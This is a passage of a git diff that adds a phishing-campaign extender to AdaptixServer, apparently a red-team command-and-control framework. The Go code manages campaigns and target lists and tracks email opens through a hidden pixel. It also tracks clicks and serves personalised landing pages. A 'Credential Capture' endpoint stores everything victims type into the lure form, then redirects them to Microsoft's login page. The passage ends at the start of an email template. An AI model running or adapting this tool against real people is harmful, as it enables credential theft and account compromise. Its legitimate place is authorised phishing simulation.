+} + +func (s *PhishingService) ListCampaigns() []Campaign { + var campaigns []Campaign + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return campaigns + } + + for _, key := range keys { + if strings.HasPrefix(key, "campaign:") { + data, err := s.ts.TsExtenderDataLoad(ExtenderName, key) + if err != nil { + continue + } + var c Campaign + if json.Unmarshal(data, &c) == nil { + campaigns = append(campaigns, c) + } + } + } + return campaigns +} + +// ============================================================================ +// Target CRUD +// ============================================================================ + +func (s *PhishingService) SaveTargets(campaignID string, targets []Target) error { + data, err := json.Marshal(targets) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "targets:"+campaignID, data) +} + +func (s *PhishingService) LoadTargets(campaignID string) []Target { + var targets []Target + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "targets:"+campaignID) + if err != nil { + return targets + } + json.Unmarshal(data, &targets) + return targets +} + +// ============================================================================ +// Result CRUD +// ============================================================================ + +func (s *PhishingService) SaveResults(campaignID string, results []Result) error { + data, err := json.Marshal(results) + if err != nil { + return err + } + return s.ts.TsExtenderDataSave(ExtenderName, "results:"+campaignID, data) +} + +func (s *PhishingService) LoadResults(campaignID string) []Result { + var results []Result + data, err := s.ts.TsExtenderDataLoad(ExtenderName, "results:"+campaignID) + if err != nil { + return results + } + json.Unmarshal(data, &results) + return results +} + +// LoadResultByTrackingID searches all campaign results for a specific tracking ID. +func (s *PhishingService) LoadResultByTrackingID(trackingID string) (*Result, string) { + keys, err := s.ts.TsExtenderDataKeys(ExtenderName) + if err != nil { + return nil, "" + } + + for _, key := range keys { + if !strings.HasPrefix(key, "results:") { + continue + } + campaignID := strings.TrimPrefix(key, "results:") + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == trackingID { + return &results[i], campaignID + } + } + } + return nil, "" +} + +// UpdateResult updates a specific result within its campaign's results. +func (s *PhishingService) UpdateResult(campaignID string, result *Result) error { + results := s.LoadResults(campaignID) + for i := range results { + if results[i].ID == result.ID { + results[i] = *result + return s.SaveResults(campaignID, results) + } + } + return fmt.Errorf("result not found") +} + +// ============================================================================ +// Campaign Stats +// ============================================================================ + +type CampaignStats struct { + TotalTargets int `json:"total_targets"` + Sent int `json:"sent"` + Opened int `json:"opened"` + Clicked int `json:"clicked"` + Submitted int `json:"submitted"` + Errors int `json:"errors"` +} + +func (s *PhishingService) GetCampaignStats(campaignID string) CampaignStats { + results := s.LoadResults(campaignID) + targets := s.LoadTargets(campaignID) + stats := CampaignStats{ + TotalTargets: len(targets), + } + for _, r := range results { + switch r.Status { + case "error": + stats.Errors++ + case "submitted": + stats.Submitted++ + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "clicked": + stats.Clicked++ + stats.Opened++ + stats.Sent++ + case "opened": + stats.Opened++ + stats.Sent++ + case "sent": + stats.Sent++ + } + } + return stats +} + +// ============================================================================ +// Helpers +// ============================================================================ + +func nowUnix() int64 { + return time.Now().Unix() +} diff --git a/AdaptixServer/extenders/phishing_service/pl_main.go b/AdaptixServer/extenders/phishing_service/pl_main.go new file mode 100644 index 00000000..8f42b398 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_main.go @@ -0,0 +1,151 @@ +package main + +import ( + "encoding/json" + "net/http" + "sync" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsExtenderDataSave(extenderName string, key string, value []byte) error + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error + TsEndpointUnregisterPublic(method string, path string) error + TsEndpointExistsPublic(method string, path string) bool + + TsServiceSendDataAll(service string, data string) + TsServiceSendDataClient(operator string, service string, data string) +} + +const ServiceName = "Phishing" +const ExtenderName = "phishing_service" + +type PhishingService struct { + ts Teamserver + moduleDir string + mu sync.RWMutex + stopChans map[string]chan struct{} // campaignID -> stop channel +} + +var ( + Ts Teamserver + ModuleDir string + Service *PhishingService +) + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + + Service = &PhishingService{ + ts: Ts, + moduleDir: moduleDir, + stopChans: make(map[string]chan struct{}), + } + + Service.RegisterEndpoints() + + return Service +} + +func (s *PhishingService) Call(operator string, function string, args string) { + switch function { + + case "campaign_create": + s.HandleCampaignCreate(operator, args) + + case "campaign_list": + s.HandleCampaignList(operator) + + case "campaign_delete": + s.HandleCampaignDelete(operator, args) + + case "campaign_start": + s.HandleCampaignStart(operator, args) + + case "campaign_stop": + s.HandleCampaignStop(operator, args) + + case "targets_import": + s.HandleTargetsImport(operator, args) + + case "targets_list": + s.HandleTargetsList(operator, args) + + case "targets_delete": + s.HandleTargetsDelete(operator, args) + + case "results_list": + s.HandleResultsList(operator, args) + + case "results_export": + s.HandleResultsExport(operator, args) + + case "templates_list": + s.HandleTemplatesList(operator) + + case "landers_list": + s.HandleLandersList(operator) + + case "template_preview": + s.HandleTemplatePreview(operator, args) + } +} + +// sendResponse sends a JSON response back to all connected clients via the service data channel. +func (s *PhishingService) sendResponseAll(msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendResponseClient sends a JSON response to a specific operator. +func (s *PhishingService) sendResponseClient(operator string, msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +// sendEvent sends a real-time event notification to all clients. +func (s *PhishingService) sendEvent(eventType string, data interface{}) { + resp := map[string]interface{}{ + "type": "event", + "event": eventType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendError sends an error message to a specific operator. +func (s *PhishingService) sendError(operator string, message string) { + resp := map[string]interface{}{ + "type": "error", + "message": message, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} diff --git a/AdaptixServer/extenders/phishing_service/pl_tracker.go b/AdaptixServer/extenders/phishing_service/pl_tracker.go new file mode 100644 index 00000000..3e472990 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_tracker.go @@ -0,0 +1,253 @@ +package main + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" +) + +// 1x1 transparent GIF +var transparentGIF = []byte{ + 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, + 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x21, + 0xf9, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x44, + 0x01, 0x00, 0x3b, +} + +// RegisterEndpoints registers the public tracking endpoints. +func (s *PhishingService) RegisterEndpoints() { + s.ts.TsEndpointRegisterPublicRaw("GET", "/px/:id", s.HandleTrackingPixel) + s.ts.TsEndpointRegisterPublicRaw("GET", "/cl/:id", s.HandleClick) + s.ts.TsEndpointRegisterPublicRaw("GET", "/lp/:id", s.HandleLander) + s.ts.TsEndpointRegisterPublicRaw("POST", "/sb/:id", s.HandleSubmit) +} + +// extractPathID extracts the last segment of the URL path. +// For /px/abc123.png it returns "abc123" (stripping .png extension) +// For /cl/abc123 it returns "abc123" +func extractPathID(r *http.Request) string { + path := r.URL.Path + parts := strings.Split(path, "/") + if len(parts) == 0 { + return "" + } + last := parts[len(parts)-1] + // Strip .png extension for tracking pixel + last = strings.TrimSuffix(last, ".png") + return last +} + +func getRemoteIP(r *http.Request) string { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + return strings.Split(r.RemoteAddr, ":")[0] +} + +// ============================================================================ +// GET /px/:id — Tracking Pixel +// ============================================================================ + +func (s *PhishingService) HandleTrackingPixel(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + w.Header().Set("Content-Type", "image/gif") + w.Write(transparentGIF) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.OpenedAt == 0 { + result.Status = statusMax(result.Status, "opened") + result.OpenedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("opened", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + w.Header().Set("Content-Type", "image/gif") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Header().Set("Pragma", "no-cache") + w.Write(transparentGIF) +} + +// ============================================================================ +// GET /cl/:id — Click Tracker +// ============================================================================ + +func (s *PhishingService) HandleClick(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.ClickedAt == 0 { + result.Status = statusMax(result.Status, "clicked") + result.ClickedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("clicked", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + // Redirect to landing page + landerURL := fmt.Sprintf("/lp/%s", trackingID) + http.Redirect(w, r, landerURL, http.StatusFound) +} + +// ============================================================================ +// GET /lp/:id — Landing Page +// ============================================================================ + +func (s *PhishingService) HandleLander(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.RLock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + s.mu.RUnlock() + + if result == nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + campaign, err := s.LoadCampaign(campaignID) + if err != nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + landerContent := s.loadLander(campaign.Lander) + if landerContent == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + submitURL := fmt.Sprintf("/sb/%s", trackingID) + replacer := strings.NewReplacer( + "{{.FirstName}}", result.FirstName, + "{{.LastName}}", result.LastName, + "{{.Email}}", result.Email, + "{{.Company}}", findTargetCompany(s, result.CampaignID, result.TargetID), + "{{.Position}}", findTargetPosition(s, result.CampaignID, result.TargetID), + "{{.TrackingID}}", trackingID, + "{{.SubmitURL}}", submitURL, + "{{.Subject}}", campaign.Subject, + ) + html := replacer.Replace(landerContent) + + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Write([]byte(html)) +} + +// ============================================================================ +// POST /sb/:id — Credential Capture +// ============================================================================ + +func (s *PhishingService) HandleSubmit(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + r.ParseForm() + formData := make(map[string]string) + for key, values := range r.PostForm { + if len(values) > 0 { + formData[key] = values[0] + } + } + + submitJSON, _ := json.Marshal(formData) + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil { + result.Status = "submitted" + result.SubmitAt = nowUnix() + result.SubmitData = string(submitJSON) + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("submitted", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + redirectURL := "https://login.microsoftonline.com" + if campaignID != "" { + if campaign, err := s.LoadCampaign(campaignID); err == nil && campaign.RedirectURL != "" { + redirectURL = campaign.RedirectURL + } + } + + http.Redirect(w, r, redirectURL, http.StatusFound) +} + +// ============================================================================ +// Helpers +// ============================================================================ + +// statusMax returns the "higher" status in the progression chain. +func statusMax(current string, candidate string) string { + order := map[string]int{ + "sent": 1, + "opened": 2, + "clicked": 3, + "submitted": 4, + } + if order[candidate] > order[current] { + return candidate + } + return current +} + +func findTargetCompany(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Company + } + } + return "" +} + +func findTargetPosition(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Position + } + } + return "" +} diff --git a/AdaptixServer/extenders/phishing_service/templates/default_email.html b/AdaptixServer/extenders/phishing_service/templates/default_email.html new file mode 100644 index 00000000..dabea2c8 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/default_email.html @@ -0,0 +1,54 @@ + + +
+ + + +
+